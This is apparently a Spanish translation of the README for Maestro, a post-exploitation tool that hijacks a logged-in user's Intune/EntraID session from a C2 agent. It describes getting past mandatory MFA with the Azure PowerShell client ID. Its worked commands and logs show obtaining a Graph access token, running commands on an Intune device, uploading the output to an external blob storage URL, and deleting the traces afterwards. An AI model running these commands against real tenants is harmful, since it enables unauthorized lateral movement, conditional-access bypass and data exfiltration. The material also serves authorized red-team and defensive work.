
Abusing Azure services over C2
Maestro es una herramienta de post-explotación diseñada para interactuar con Intune/EntraID desde un agente C2 en la estación de trabajo de un usuario sin requerir conocimiento de la contraseña del usuario, flujos de autenticación de Azure, manipulación de tokens ni consola de administración basada en web. Maestro facilita mucho la interacción con Intune y EntraID (y potencialmente otros servicios de Azure) desde C2, ya que el operador no necesita obtener la contraseña en claro del usuario, extraer cookies de token de actualización principal (PRT) del sistema, ejecutar herramientas adicionales o una sesión de navegador a través de un proxy SOCKS, ni lidiar con flujos de autenticación de Azure, tokens o políticas de acceso condicional para ejecutar acciones en Azure en nombre del usuario con sesión iniciada.
Maestro es esencialmente un envoltorio para solicitudes locales de cookies PRT y llamadas a la API de Microsoft Graph, con muchas funciones de calidad de vida añadidas para red teamers. Maestro habilita rutas de ataque entre on-prem y Azure. Por ejemplo, al ejecutar Maestro en la máquina de un administrador de Intune, puedes ejecutar scripts de PowerShell en cualquier dispositivo inscrito sin conocer nunca las credenciales del administrador, incluso si MFA, cumplimiento de dispositivos y un dispositivo híbrido unido son requeridos por políticas de acceso condicional.
Las funciones de movimiento lateral de Maestro se inspiraron en Death from Above: Lateral Movement from Azure to On-Prem AD de Andy Robbins (@_wald0).
Puedes leer más en esta publicación de blog introductoria sobre Maestro: https://specterops.io/blog/2024/10/31/maestro-abusing-intune-for-lateral-movement-over-c2/
Hay una compilación publicada en este repositorio con la configuración de compilación ReleasePlusMSAL. Ten en cuenta que esta configuración fusiona las dependencias de MSAL en el .exe pero aumenta significativamente el tamaño del binario resultante. Si no planeas usar el método -m 2 para solicitar tokens de acceso (SharpGetEntraToken mediante MSAL), puedes compilar una versión Release y el tamaño se reducirá significativamente.
A partir de febrero de 2025, Microsoft está implementando la aplicación obligatoria de MFA para la autenticación en Azure Portal y sus extensiones. El método predeterminado de solicitud de tokens de acceso mediante el flujo de código de autorización probablemente fallará en este caso, pero usar SharpGetEntraToken/MSAL (opción -m 2) y especificar un ID de cliente que no requiera MFA, como Azure PowerShell (1950a258-227b-4e31-a9cf-717495945fc2), debería seguir funcionando.
Maestro.exe <command> [subcommand] [options]
Todos los comandos y subcomandos tienen una página de ayuda generada con un analizador de línea de comandos personalizado para mantener el tamaño del binario al mínimo. Se puede acceder a las páginas de ayuda introduciendo cualquier comando de Maestro seguido de -h o --help.
Consulta la salida de la opción --help de cada comando para obtener la información de uso más actualizada.
Puedes encontrar ejemplos al final de este archivo.
Para la depuración, comparto un directorio en una máquina inscrita en Intune que sea accesible desde mi equipo host con Visual Studio, ejecuto el depurador remoto de Visual Studio, configuro una tarea posterior a la compilación para copiar los archivos de la solución al recurso compartido y configuro Visual Studio para depurar de forma remota en el sistema inscrito.
El tiempo que puedo dedicar a investigar, desarrollar y mejorar Maestro no sería posible sin el patrocinio de SpecterOps al proyecto, como parte de su compromiso con la transparencia y el apoyo al desarrollo de código abierto. Estoy inmensamente agradecido por su orientación y apoyo.
Algunas funciones de Maestro se inspiraron o se construyeron basándose en el trabajo de otras personas, incluyendo:
Si estás interesado en colaborar, contáctame en Twitter (@_Mayyhem) o en el Slack de BloodHoundGang.
Obtén un token de acceso para MS Graph usando MSAL y el ID de cliente de Azure PowerShell (aún no bloqueado por la MFA obligatoria):
.\Maestro.exe get access-token -m 2 -t mayyhem.onmicrosoft.com -c 1950a258-227b-4e31-a9cf-717495945fc2 -s https://graph.microsoft.com/.default
2025-02-06 21:09:24.701 UTC - [INFO] Execution started
2025-02-06 21:09:24.810 UTC - [INFO] MSAL DLL loaded and ready for use.
2025-02-06 21:09:24.810 UTC - [INFO] SharpGetEntraToken attempting to get an access token
2025-02-06 21:09:25.857 UTC - [INFO] SharpGetEntraToken got an access token:
eyJ0...tDOg
2025-02-06 21:09:25.982 UTC - [INFO] Completed execution in 00:00:01.3203797
Ejecuta dsregcmd.exe en el dispositivo de Intune con ID e537180b-6d04-427e-bf93-dbde818400eb, subiendo los resultados a la URL SAS del contenedor de Azure Storage Blob con un token de acceso compartido:
.\Maestro.exe exec intune upload -i e537180b-6d04-427e-bf93-dbde818400eb -n MyPolicy --url 'https://maestro2go.blob.core.windows.net/uploads?st=2025-01-14T20:19:57Z&se=2025-01-15T04:19:57Z&si=All&sv=2022-11-02&sr=c&sig=QYri...ZkpA%3D' --commands "%windir%\system32\dsregcmd.exe"
...
2025-01-14 20:20:28.251 UTC - [INFO] Creating new device assignment filter with displayName: d004a709-aae6-4fbf-91cd-48f227272c97
2025-01-14 20:20:28.251 UTC - [INFO] Requesting devices from Intune
2025-01-14 20:20:28.267 UTC - [INFO] Requesting IntuneDevices from Microsoft Graph
2025-01-14 20:20:28.783 UTC - [INFO] Found 1 IntuneDevice matching query in Microsoft Graph
2025-01-14 20:20:29.017 UTC - [INFO] Found 1 devices in filtered results
2025-01-14 20:20:29.361 UTC - [INFO] Obtained filter ID: 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64
2025-01-14 20:20:29.379 UTC - [INFO] Creating custom config policy for device: e537180b-6d04-427e-bf93-dbde818400eb
2025-01-14 20:20:29.649 UTC - [INFO] Obtained policy ID: fbca5c35-5282-4ec7-87de-a2d16a743079
2025-01-14 20:20:29.680 UTC - [INFO] Assigning policy fbca5c35-5282-4ec7-87de-a2d16a743079 with filter 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64
2025-01-14 20:20:29.983 UTC - [INFO] Successfully assigned policy with filter
2025-01-14 20:20:29.983 UTC - [INFO] Successfully created and assigned diagnostic logs policy with request ID 651d2244-4ad7-4efe-bb5e-d017b0c27750
2025-01-14 20:20:29.999 UTC - [INFO] Not syncing automatically, execute the following to force device sync:
.\Maestro.exe exec intune sync -i e537180b-6d04-427e-bf93-dbde818400eb
Clean up after execution:
.\Maestro.exe delete intune policy -i fbca5c35-5282-4ec7-87de-a2d16a743079
.\Maestro.exe delete intune filter -i 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64
2025-01-14 20:20:29.999 UTC - [INFO] Completed execution in 00:00:04.8572902